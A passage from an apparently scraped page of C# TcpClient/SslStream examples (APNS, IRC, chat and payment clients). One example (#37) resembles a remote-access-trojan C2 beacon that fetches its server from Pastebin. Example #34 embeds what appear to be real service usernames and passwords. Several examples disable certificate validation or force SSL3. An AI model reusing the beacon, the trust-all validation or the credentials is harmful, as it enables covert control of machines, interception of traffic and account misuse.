            Exception exception  = null;

            AutoTimeout.Perform(() =>
            {
                try
                {
                    if (Settings.DebugMessages)
                    {
                        ConsoleIO.WriteLineFormatted("§8Performing request to " + host);
                    }

                    TcpClient client = ProxyHandler.newTcpClient(host, 443, true);
                    SslStream stream = new SslStream(client.GetStream());
                    stream.AuthenticateAsClient(host);

                    if (Settings.DebugMessages)
                    {
                        foreach (string line in headers)
                        {
                            ConsoleIO.WriteLineFormatted("§8> " + line);
                        }
                    }

                    stream.Write(Encoding.ASCII.GetBytes(String.Join("\r\n", headers.ToArray())));
                    System.IO.StreamReader sr = new System.IO.StreamReader(stream);
                    string raw_result         = sr.ReadToEnd();

                    if (Settings.DebugMessages)
                    {
                        ConsoleIO.WriteLine("");
                        foreach (string line in raw_result.Split('\n'))
                        {
                            ConsoleIO.WriteLineFormatted("§8< " + line);
                        }
                    }

                    if (raw_result.StartsWith("HTTP/1.1"))
                    {
                        postResult = raw_result.Substring(raw_result.IndexOf("\r\n\r\n") + 4);
                        statusCode = Settings.str2int(raw_result.Split(' ')[1]);
                    }
                    else
                    {
                        statusCode = 520;  //Web server is returning an unknown error
                    }
                }
                catch (Exception e)
                {
                    if (!(e is System.Threading.ThreadAbortException))
                    {
                        exception = e;
                    }
                }
            }, TimeSpan.FromSeconds(30));
            result = postResult;
            if (exception != null)
            {
                throw exception;
            }
            return(statusCode);
        }
Пример #28
0
        private async Task connect()
        {
            if (client != null)
            {
                disconnect();
            }

            Log.Info("APNS-Client[{0}]: Connecting (Batch ID={1})", id, batchId);

            client = new TcpClient();

            try
            {
                await client.ConnectAsync(Configuration.Host, Configuration.Port).ConfigureAwait(false);

                //Set keep alive on the socket may help maintain our APNS connection
                try
                {
                    client.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);
                }
                catch
                {
                }

                //Really not sure if this will work on MONO....
                // This may help windows azure users
                try
                {
                    SetSocketKeepAliveValues(client.Client, (int)Configuration.KeepAlivePeriod.TotalMilliseconds,
                                             (int)Configuration.KeepAliveRetryPeriod.TotalMilliseconds);
                }
                catch
                {
                }
            }
            catch (Exception ex)
            {
                throw new ApnsConnectionException("Failed to Connect, check your firewall settings!", ex);
            }

            // We can configure skipping ssl all together, ie: if we want to hit a test server
            if (Configuration.SkipSsl)
            {
                networkStream = client.GetStream();
            }
            else
            {
                // Create our ssl stream
                stream = new SslStream(client.GetStream(),
                                       false,
                                       ValidateRemoteCertificate,
                                       (sender, targetHost, localCerts, remoteCert, acceptableIssuers) => certificate);

                try
                {
                    stream.AuthenticateAsClient(Configuration.Host, certificates, System.Security.Authentication.SslProtocols.Tls,
                                                false);
                }
                catch (System.Security.Authentication.AuthenticationException ex)
                {
                    throw new ApnsConnectionException("SSL Stream Failed to Authenticate as Client", ex);
                }

                if (!stream.IsMutuallyAuthenticated)
                {
                    throw new ApnsConnectionException("SSL Stream Failed to Authenticate", null);
                }

                if (!stream.CanWrite)
                {
                    throw new ApnsConnectionException("SSL Stream is not Writable", null);
                }

                networkStream = stream;
            }

            Log.Info("APNS-Client[{0}]: Connected (Batch ID={1})", id, batchId);
        }
Пример #29
0
        /// <summary>
        /// Connects to the remote server.
        /// </summary>
        /// <param name="server">Server data</param>
        /// <param name="lookForBackups">If false, no connection to backup servers will be made</param>
        private void Connect(Server server, bool lookForBackups = true)
        {
            this.server = server;
            apiSocket   = new TcpClient();

            bool connectionAttempted = false;

            while (!connectionAttempted || !apiSocket.Connected)
            {
                // Try to connect asynchronously and wait for the result
                IAsyncResult result = apiSocket.BeginConnect(this.server.Address, this.server.MainPort, null, null);
                connectionAttempted = result.AsyncWaitHandle.WaitOne(TIMEOUT, true);

                // If connection attempt failed (timeout) or not connected
                if (!connectionAttempted || !apiSocket.Connected)
                {
                    apiSocket.Close();
                    if (lookForBackups)
                    {
                        this.server = Servers.GetBackup(this.server);
                        apiSocket   = new TcpClient();
                    }
                    else
                    {
                        throw new APICommunicationException("Cannot connect to: " + server.Address + ":" + server.MainPort);
                    }
                }
            }

            if (server.Secure)
            {
                SslStream sl = new SslStream(apiSocket.GetStream(), false, SSLHelper.TrustAllCertificatesCallback);

                //sl.AuthenticateAsClient(server.Address);

                bool authenticated = ExecuteWithTimeLimit.Execute(TimeSpan.FromMilliseconds(5000), () =>
                {
                    sl.AuthenticateAsClient(server.Address, new X509CertificateCollection(), SslProtocols.Default, false);
                });

                if (!authenticated)
                {
                    throw new APICommunicationException("Error during SSL handshaking (timed out?)");
                }

                apiWriteStream = new StreamWriter(sl);
                apiReadStream  = new StreamReader(sl);
            }
            else
            {
                NetworkStream ns = apiSocket.GetStream();
                apiWriteStream = new StreamWriter(ns);
                apiReadStream  = new StreamReader(ns);
            }

            apiConnected = true;

            if (OnConnected != null)
            {
                OnConnected.Invoke(this.server);
            }


            streamingConnector = new StreamingAPIConnector(this.server);
        }
Пример #30
0
		public void TestSyncAdvanced()
		{
			IPEndPoint ep = null;
			var evtReady = new AutoResetEvent(false);

			var serverTask = Task.Factory.StartNew(() =>
			{
				var listener = new TcpListener(IPAddress.Loopback, 0);
				listener.Start(5);
				ep = (IPEndPoint)listener.LocalEndpoint;

				evtReady.Set();

				Console.WriteLine("Server> waiting for accept");

				using (var tcp = listener.AcceptTcpClient())
				using (var sslStream = new SslStream(tcp.GetStream(), false, ValidateRemoteCert))
				{
					Console.WriteLine("Server> authenticate");
					sslStream.AuthenticateAsServer(
						_ctx.ServerCertificate,
						true,
						_ctx.CAChain,
						SslProtocols.Tls,
						SslStrength.All,
						true
					);

					Console.WriteLine("Server> CurrentCipher: {0}", sslStream.Ssl.CurrentCipher.Name);
					Assert.AreEqual("AES256-GCM-SHA384", sslStream.Ssl.CurrentCipher.Name);
					Assert.IsTrue(sslStream.IsMutuallyAuthenticated);

					Console.WriteLine("Server> rx msg");
					var buf = new byte[256];
					sslStream.Read(buf, 0, buf.Length);
					Assert.AreEqual(clientMessage.ToString(), buf.ToString());

					Console.WriteLine("Server> tx msg");
					sslStream.Write(serverMessage, 0, serverMessage.Length);

					Console.WriteLine("Server> done");
				}

				listener.Stop();
			});

			var clientTask = Task.Factory.StartNew(() =>
			{
				evtReady.WaitOne();

				Console.WriteLine("Client> Connecting to: {0}:{1}", ep.Address, ep.Port);

				using (var tcp = new TcpClient(ep.Address.ToString(), ep.Port))
				using (var sslStream = new SslStream(
										   tcp.GetStream(),
										   false,
										   ValidateRemoteCert,
										   SelectClientCertificate))
				{
					Console.WriteLine("Client> authenticate");
					sslStream.AuthenticateAsClient(
						"localhost",
						_ctx.ClientCertificateList,
						_ctx.CAChain,
						SslProtocols.Tls,
						SslStrength.All,
						true
					);

					Console.WriteLine("Client> CurrentCipher: {0}", sslStream.Ssl.CurrentCipher.Name);
					Assert.AreEqual("AES256-GCM-SHA384", sslStream.Ssl.CurrentCipher.Name);
					Assert.IsTrue(sslStream.IsMutuallyAuthenticated);

					Console.WriteLine("Client> tx msg");
					sslStream.Write(clientMessage, 0, clientMessage.Length);

					Console.WriteLine("Client> rx msg");
					var buf = new byte[256];
					sslStream.Read(buf, 0, buf.Length);
					Assert.AreEqual(serverMessage.ToString(), buf.ToString());

					Console.WriteLine("Client> done");
				}
			});

			Task.WaitAll(clientTask, serverTask);
		}
Пример #31
0
        void connect()
        {
            client = new TcpClient();

            //Notify we are connecting
            var eoc = this.OnConnecting;

            if (eoc != null)
            {
                eoc(this.appleSettings.Host, this.appleSettings.Port);
            }

            Log.Info("Connecting ");

            try
            {
                var connectDone = new AutoResetEvent(false);

                //Connect async so we can utilize a connection timeout
                client.BeginConnect(
                    appleSettings.Host, appleSettings.Port,
                    ar =>
                {
                    try
                    {
                        client.EndConnect(ar);

                        //Set keep alive on the socket may help maintain our APNS connection
                        client.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);

                        //client.Client.SetKeepAlive(1000, 2500);

                        //Trigger the reset event so we can continue execution below
                        connectDone.Set();
                    }
                    catch (Exception ex)
                    {
                        Log.Error("APNS Connect Callback Failed: " + ex);
                    }
                }, client
                    );

                if (!connectDone.WaitOne(appleSettings.ConnectionTimeout))
                {
                    Log.Info("Timeout!");
                    throw new TimeoutException("Connection to Host Timed Out!");
                }
            }
            catch (Exception ex)
            {
                Log.Info("failed!");
                throw new ConnectionFailureException("Connection to Host Failed", ex);
            }

            if (appleSettings.SkipSsl)
            {
                networkStream = client.GetStream();
            }
            else
            {
                stream = new SslStream(client.GetStream(), false,
                                       (sender, cert, chain, sslPolicyErrors) => true,                                  //Don't validate remote cert
                                       (sender, targetHost, localCerts, remoteCert, acceptableIssuers) => certificate); //

                try
                {
                    stream.AuthenticateAsClient(this.appleSettings.Host, this.certificates, System.Security.Authentication.SslProtocols.Ssl3, false);
                    //stream.AuthenticateAsClient(this.appleSettings.Host);
                }
                catch (System.Security.Authentication.AuthenticationException ex)
                {
                    throw new ConnectionFailureException("SSL Stream Failed to Authenticate as Client", ex);
                }

                if (!stream.IsMutuallyAuthenticated)
                {
                    throw new ConnectionFailureException("SSL Stream Failed to Authenticate", null);
                }

                if (!stream.CanWrite)
                {
                    throw new ConnectionFailureException("SSL Stream is not Writable", null);
                }

                networkStream = stream;
            }

            //Start reading from the stream asynchronously
            Reader();
        }
Пример #32
0
        /// <summary>
        /// Connect to the server
        /// </summary>
        /// <param name="server">server hostname/ip</param>
        /// <param name="port">server port</param>
        public void Connect(string server, string port, RichTextBox msgs, Button connectBtn, string name, bool ssl = false)
        {
            try
            {
                // try to connect with timeout of 3 seconds
                AppndText(msgs, "Attempting to connect to server...", Color.Green);

                client    = new TcpClient();
                conResult = client.BeginConnect(server, Convert.ToInt32(port), null, null);
                Byte[] data = Encoding.ASCII.GetBytes("con|" + name + '\0'); //send data

                var success = conResult.AsyncWaitHandle.WaitOne(TimeSpan.FromSeconds(3));

                if (!success)
                {
                    throw new Exception("Failed to connect.");
                }

                connectBtn.Invoke(new MethodInvoker(delegate
                {
                    connectBtn.Text      = "disconnect";
                    connectBtn.ForeColor = Color.Red;
                }));

                if (ssl)
                {
                    stream = new SslStream(client.GetStream(), true, new RemoteCertificateValidationCallback(ValidateServerCertificate), null);
                    // The server name must match the name on the server certificate.
                    string serverName = "server";
                    try
                    {
                        stream.AuthenticateAsClient(serverName);
                    }
                    catch (AuthenticationException e)
                    {
                        Console.WriteLine("Exception: {0}", e.Message);
                        if (e.InnerException != null)
                        {
                            Console.WriteLine("Inner exception: {0}", e.InnerException.Message);
                        }
                        Console.WriteLine("Authentication failed - closing the connection.");
                        client.Close();
                    }
                    var thread = new Thread(() => PacketProcessor(msgs, connectBtn, ssl));
                    thread.Start();
                    stream.Write(data, 0, data.Length);
                }
                else
                {
                    nStream = client.GetStream();
                    var thread = new Thread(() => PacketProcessor(msgs, connectBtn, ssl));
                    thread.Start();
                    nStream.Write(data, 0, data.Length);
                }
            }
            catch (ArgumentNullException e)
            {
                Debug.WriteLine("ArgumentNullException:" + e);
            }
            catch (SocketException e)
            {
                Debug.WriteLine("SocketException:" + e);
            }
            catch
            {
                AppndText(msgs, "Connection failed", Color.Red);
                connectBtn.Invoke(new MethodInvoker(delegate
                {
                    connectBtn.Text      = "connect";
                    connectBtn.ForeColor = Color.Green;
                }));
            }
        }
Пример #33
0
        /// <summary>
        /// Starts the receiver task.
        /// </summary>
        public void StartReceivingChat()
        {
            _tcpClient = new TcpClient(_newIp, _NewPort);

            int timeout = 0;

            while (!_tcpClient.Connected)
            {
                Thread.Sleep(1);

                if (timeout >= _timeOut)
                {
                    OnDebugMessage?.Invoke(this, new IrcDebugMessageEventArgs("TIMEOUT, COULD NOT CONNECT TO TCP SOCKET", "IRC SETUP"));
                }
                timeout++;
            }


            try
            {
                if (!_enableSSL)
                {
                    _networkStream = _tcpClient.GetStream(); Thread.Sleep(500);
                    _streamReader  = new StreamReader(_networkStream);
                    _streamWriter  = new StreamWriter(_networkStream);
                    _ircCommands   = new IrcCommands(_networkStream);
                }
                else
                {
                    _networkSStream = new SslStream(_tcpClient.GetStream());
                    _networkSStream.AuthenticateAsClient(_newIp);
                    _streamReader = new StreamReader(_networkSStream);
                    _streamWriter = new StreamWriter(_networkSStream);
                    _ircCommands  = new IrcCommands(_networkSStream);
                }

                _isConnectionEstablised = true;
                OnDebugMessage?.Invoke(this, new IrcDebugMessageEventArgs("CONNECTED TO TCP SOCKET", "IRC SETUP"));

                if (_newPassword.Length > 0)
                {
                    if (!_ircCommands.SetPassWord(_newPassword))
                    {
                        OnDebugMessage?.Invoke(this, new IrcDebugMessageEventArgs(_ircCommands.GetErrorMessage(), "IRC SETUP ERROR"));
                        _isConnectionEstablised = false;
                    }
                }
                Debug.WriteLine("Joining channels: " + _NewChannelss);
                if (!_ircCommands.JoinNetwork(_NewUsername, _NewChannelss))
                {
                    OnDebugMessage?.Invoke(this, new IrcDebugMessageEventArgs(_ircCommands.GetErrorMessage(), "IRC SETUP ERROR"));
                    _isConnectionEstablised = false;
                }
            }
            catch (Exception ex)
            {
                OnDebugMessage?.Invoke(this, new IrcDebugMessageEventArgs(ex.ToString(), "IRC SETUP"));
            }



            if (_isConnectionEstablised)
            {
                OnDebugMessage?.Invoke(this, new IrcDebugMessageEventArgs("CONNECTED TO IRC SERVER", "IRC SETUP"));
                _stopTask = false;
                Task.Run(() => ReceiveChat());
            }
        }
        public static void RunClient(string machineName, string serverName)
        {
            // Create a TCP/IP client socket.
            // machineName is the host running the server application.
            TcpClient client = new TcpClient(machineName, 443);

            Console.WriteLine("SslStreatm Test - Client connected.");
            // Create an SSL stream that will close the client's stream.
            SslStream sslStream = new SslStream(
                client.GetStream(),
                false,
                new RemoteCertificateValidationCallback(ValidateServerCertificate),
                null
                );

            // The server name must match the name on the server certificate.
            try
            {
                System.Net.ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls;
                sslStream.AuthenticateAsClient(serverName, null,
                                               (SslProtocols)ServicePointManager.SecurityProtocol, true);
            }
            catch (AuthenticationException e)
            {
                Console.WriteLine("Exception: {0}", e.Message);
                if (e.InnerException != null)
                {
                    Console.WriteLine("Inner exception: {0}", e.InnerException.Message);
                }
                Console.WriteLine("Authentication failed - closing the connection.");
                client.Close();
                return;
            }

            //-- 200 OK with Connection set to 'close'
            //--"\r\n<EOF>";  //-- <EOF> will return 500 error
            //            string requestMessage = "POST /DirectConnect/Measurement/DistributionMeasurement.svc HTTP/1.1\r\n" +
            //"Host: unionline.uniongas.com\r\n" +
            //"Connection: close\r\n" +
            //"Content-Length: 819\r\n" +   //-- 938
            //"Pragma: no-cache\r\n" +
            //"Cache-Control: no-cache\r\n" +
            //"Accept: */*\r\n" +
            //"SOAPAction: https://unionline.uniongas.com/DirectConnect/Measurement/MeasurementData.xsd/IDistributionMeasurement/GetDailyMeasurement\r\n" +
            //"Content-Type: text/xml\r\n" +
            //"Sec-Fetch-Dest: empty\r\n" +
            //"Sec-Fetch-Mode: cors\r\n" +
            //"Sec-Fetch-Site: none\r\n" +
            //"\r\n" +  //-- extra \r\n is IMPORTANT!
            //"<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/' xmlns:meas='https://unionline.uniongas.com/DirectConnect/Measurement/MeasurementData.xsd' xmlns:meas1='https://unionline.uniongas.com/DirectConnect/Measurement/MeasurementRequest' xmlns:arr='http://schemas.microsoft.com/2003/10/Serialization/Arrays'>\r\n<soapenv:Header/>\r\n<soapenv:Body>\r\n<meas:GetDailyMeasurement>\r\n<meas:request>\r\n<meas1:Username>wsdm4052</meas1:Username>\r\n<meas1:Password>Uniongas04</meas1:Password>\r\n<meas1:FromDate>2020-07-17</meas1:FromDate>\r\n<meas1:ToDate>2020-07-17</meas1:ToDate>\r\n<meas1:ContractIds>\r\n<arr:string>SA3863</arr:string>\r\n</meas1:ContractIds>\r\n<meas1:CompanyIds>\r\n<arr:int>4052</arr:int>\r\n</meas1:CompanyIds>\r\n</meas:request>\r\n</meas:GetDailyMeasurement  >\r\n</soapenv:Body>\r\n</soapenv:Envelope>" +
            //"\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n";

            //-- 200 OK POST 2020.07.19
            string requestMessage = "POST /sap/opu/odata/sap/ZMCF_USER_REGISTRATION_SRV/ZMCFS_USERDATASet?saml2=disabled&sap-client=300 HTTP/1.1\r\n" +
                                    "Host: ebilling.kitchener.ca\r\n" +
                                    "Connection: close\r\n" +
                                    "Content-Length: 230\r\n" +
                                    "Pragma: no-cache\r\n" +
                                    "Cache-Control: no-cache\r\n" +
                                    "Accept: application/json\r\n" +
                                    "X-REQUESTED-WITH: XMLHttpRequest\r\n" +
                                    "Content-Type: application/json\r\n" +
                                    "Sec-Fetch-Site: none\r\n" +
                                    "Sec-Fetch-Mode: cors\r\n" +
                                    "Sec-Fetch-Dest: empty\r\n" +
                                    "\r\n" +
                                    "{\"UserName\":\"Tester20200716\",\"Fname\":\"RONG\",\"Lname\":\"Liao\",\"EmailAddr\":\"[email protected]\",\"BuagId\":\"110112070\",\"Password\":\"Waterloo2019\",\"Billno\":\"928256931\",\"Billdate\":\"2020-5-1T00:00:00\",\"Billamt\":\"134.35\"}\r\n" +
                                    "\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n";

            byte[] requestBytes = Encoding.UTF8.GetBytes(requestMessage);

            sslStream.Write(requestBytes);
            sslStream.Flush();

            string serverMessage = ReadMessage(sslStream);

            Console.WriteLine("SslStreatm Test - Server says: \r\n {0} \r\n", serverMessage);

            client.Close();
            Console.WriteLine("SslStreatm Test - Client closed.");
        }
Пример #35
0
        void connect()
        {
            if (client != null)
            {
                disconnect();
            }

            client = new TcpClient();

            //Notify we are connecting
            var eoc = this.OnConnecting;

            if (eoc != null)
            {
                eoc(this.appleSettings.Host, this.appleSettings.Port);
            }

            try
            {
                var connectDone = new AutoResetEvent(false);


                //Connect async so we can utilize a connection timeout
                connectAsyncResult = client.BeginConnect(
                    appleSettings.Host, appleSettings.Port,
                    new AsyncCallback(
                        delegate(IAsyncResult ar)
                {
                    if (connectAsyncResult != ar)
                    {
                        return;
                    }

                    try
                    {
                        client.EndConnect(ar);

                        //Set keep alive on the socket may help maintain our APNS connection
                        //client.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);

                        //Really not sure if this will work on MONO....
                        try { client.SetSocketKeepAliveValues(20 * 60 * 1000, 30 * 1000); }
                        catch { }

                        Interlocked.Increment(ref reconnects);

                        //Trigger the reset event so we can continue execution below
                        connectDone.Set();
                    }
                    catch (Exception ex)
                    {
                        Log.Error("APNS Connect Callback Failed: " + ex);
                    }
                }
                        ), client
                    );

                if (!connectDone.WaitOne(appleSettings.ConnectionTimeout))
                {
                    throw new TimeoutException("Connection to Host Timed Out!");
                }
            }
            catch (Exception ex)
            {
                throw new ConnectionFailureException("Connection to Host Failed", ex);
            }

            if (appleSettings.SkipSsl)
            {
                networkStream = client.GetStream();
            }
            else
            {
                RemoteCertificateValidationCallback userCertificateValidation;

                if (appleSettings != null && appleSettings.ValidateServerCertificate)
                {
                    userCertificateValidation = ValidateRemoteCertificate;
                }
                else
                {
                    userCertificateValidation = (sender, cert, chain, sslPolicyErrors) => true; //Don't validate remote cert
                }

                stream = new SslStream(client.GetStream(), false,
                                       userCertificateValidation,
                                       (sender, targetHost, localCerts, remoteCert, acceptableIssuers) => certificate);

                try
                {
                    stream.AuthenticateAsClient(this.appleSettings.Host, this.certificates, System.Security.Authentication.SslProtocols.Tls, false);
                }
                catch (System.Security.Authentication.AuthenticationException ex)
                {
                    throw new ConnectionFailureException("SSL Stream Failed to Authenticate as Client", ex);
                }

                if (!stream.IsMutuallyAuthenticated)
                {
                    throw new ConnectionFailureException("SSL Stream Failed to Authenticate", null);
                }

                if (!stream.CanWrite)
                {
                    throw new ConnectionFailureException("SSL Stream is not Writable", null);
                }

                networkStream = stream;
            }

            //Start reading from the stream asynchronously
            Reader();
        }
Пример #36
0
        public static void SaveImage(object name_path)
        {
            TcpClient client = new TcpClient("81.180.74.23", 443);


            SslStream ssl = new SslStream(
                client.GetStream(),
                false,
                new RemoteCertificateValidationCallback(ValidateServerCertificate),
                null
                );

            try
            {
                ssl.AuthenticateAsClient("utm.md");
            }
            catch (AuthenticationException e)
            {
                Console.WriteLine("Exception: {0}", e.Message);
                if (e.InnerException != null)
                {
                    Console.WriteLine("Inner exception: {0}", e.InnerException.Message);
                }
                Console.WriteLine("Authentication failed - closing the connection.");
                client.Close();
                return;
            }

            Console.WriteLine("Image Path: {0} - INITIALIZED  ", (string)name_path);
            _pool.WaitOne();
            string data  = (string)name_path;
            string data1 = data.Replace(@"\\", "");
            string data2 = data1.Replace(@"/", "");
            string data3 = data2.Replace(@"\", "");



            int padding = Interlocked.Add(ref _padding, 100);

            var saveLocation = $@"E:\img\{ padding.ToString()+data3}";


            byte[] imageBytes;

            byte[] buffer = new byte[2048];

            var request_img = "GET https://utm.md/" + (string)name_path + " HTTP/1.1\r\n" +
                              "Host: utm.md\r\n" +
                              "Content-Lenght: 0 \r\n"
                              + "\r\n";

            byte[] message = Encoding.UTF8.GetBytes(request_img);
            ssl.Write(message, 0, message.Length);
            ssl.Flush();

            int           bytes       = -1;
            int           i           = 0;
            StringBuilder messageData = new StringBuilder();
            var           resp        = new List <byte>();

            do
            {
                bytes = ssl.Read(buffer, 0, buffer.Length);
                Decoder decoder = Encoding.UTF8.GetDecoder();
                char[]  chars   = new char[decoder.GetCharCount(buffer, 0, buffer.Length)];

                decoder.GetChars(buffer, 0, bytes, chars, 0);
                if (i >= 1)
                {
                    resp.AddRange(buffer);
                    messageData.Append(chars);
                }
                i++;
                if (messageData.ToString().IndexOf("<EOF>") != -1)
                {
                    break;
                }
            } while (bytes != 0);


            var    img = resp.ToArray();
            Bitmap bmp;

            using (var ms = new MemoryStream(img))
            {
                bmp = new Bitmap(ms);
                bmp.Save(saveLocation);
            }
            Console.WriteLine("Image Path : {0} - UNLOADED ", (string)name_path, _pool.Release());
        }
Пример #37
0
        public static void InitializeClient()
        {
            try
            {
                TcpClient = new System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
                {
                    ReceiveBufferSize = 50 * 1024,
                    SendBufferSize    = 50 * 1024,
                };

                if (Settings.Pastebin == "null")
                {
                    string ServerIP   = Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)];
                    int    ServerPort = Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]);

                    if (IsValidDomainName(ServerIP))                              //check if the address is alphanumric (meaning its a domain)
                    {
                        IPAddress[] addresslist = Dns.GetHostAddresses(ServerIP); //get all IP's connected to that domain

                        foreach (IPAddress theaddress in addresslist)             //we do a foreach becasue a domain can lead to multiple IP's
                        {
                            try
                            {
                                TcpClient.Connect(theaddress, ServerPort); //lets try and connect!
                                if (TcpClient.Connected)
                                {
                                    break;
                                }
                            }
                            catch { }
                        }
                    }
                    else
                    {
                        TcpClient.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS)
                    }
                }
                else
                {
                    using (WebClient wc = new WebClient())
                    {
                        NetworkCredential networkCredential = new NetworkCredential("", "");
                        wc.Credentials = networkCredential;
                        string   resp = wc.DownloadString(Settings.Pastebin);
                        string[] spl  = resp.Split(new[] { ":" }, StringSplitOptions.None);
                        Settings.Hosts = spl[0];
                        Settings.Ports = spl[new Random().Next(1, spl.Length)];
                        TcpClient.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports));
                    }
                }

                if (TcpClient.Connected)
                {
                    Debug.WriteLine("Connected!");
                    IsConnected = true;
                    SslClient   = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
                    SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
                    Buffer = new byte[4];
                    MS     = new MemoryStream();
                    Send(Methods.SendInfo());
                    Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
                    SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
                }
                else
                {
                    IsConnected = false;
                    return;
                }
            }
            catch
            {
                Debug.WriteLine("Disconnected!");
                IsConnected = false;
                return;
            }
        }
Пример #38
0
        public virtual string SocketStream(string xmlRequestFilePath, string xmlResponseDestinationDirectory, Dictionary <string, string> config)
        {
            var       url  = config["onlineBatchUrl"];
            var       port = int.Parse(config["onlineBatchPort"]);
            TcpClient tcpClient;
            SslStream sslStream;

            try
            {
                tcpClient = new TcpClient(url, port);
                sslStream = new SslStream(tcpClient.GetStream(), false, ValidateServerCertificate, null);
            }
            catch (SocketException e)
            {
                throw new LitleOnlineException("Error establishing a network connection", e);
            }

            try
            {
                sslStream.AuthenticateAsClient(url);
            }
            catch (AuthenticationException e)
            {
                tcpClient.Close();
                throw new LitleOnlineException("Error establishing a network connection - SSL Authencation failed", e);
            }

            if ("true".Equals(config["printxml"]))
            {
                Console.WriteLine("Using XML File: " + xmlRequestFilePath);
            }

            using (var readFileStream = new FileStream(xmlRequestFilePath, FileMode.Open))
            {
                var bytesRead = -1;

                do
                {
                    var byteBuffer = new byte[1024 * sizeof(char)];
                    bytesRead = readFileStream.Read(byteBuffer, 0, byteBuffer.Length);

                    sslStream.Write(byteBuffer, 0, bytesRead);
                    sslStream.Flush();
                } while (bytesRead != 0);
            }

            var batchName            = Path.GetFileName(xmlRequestFilePath);
            var destinationDirectory = Path.GetDirectoryName(xmlResponseDestinationDirectory);

            if (!Directory.Exists(destinationDirectory))
            {
                if (destinationDirectory != null)
                {
                    Directory.CreateDirectory(destinationDirectory);
                }
            }

            if ("true".Equals(config["printxml"]))
            {
                Console.WriteLine("Writing to XML File: " + xmlResponseDestinationDirectory + batchName);
            }

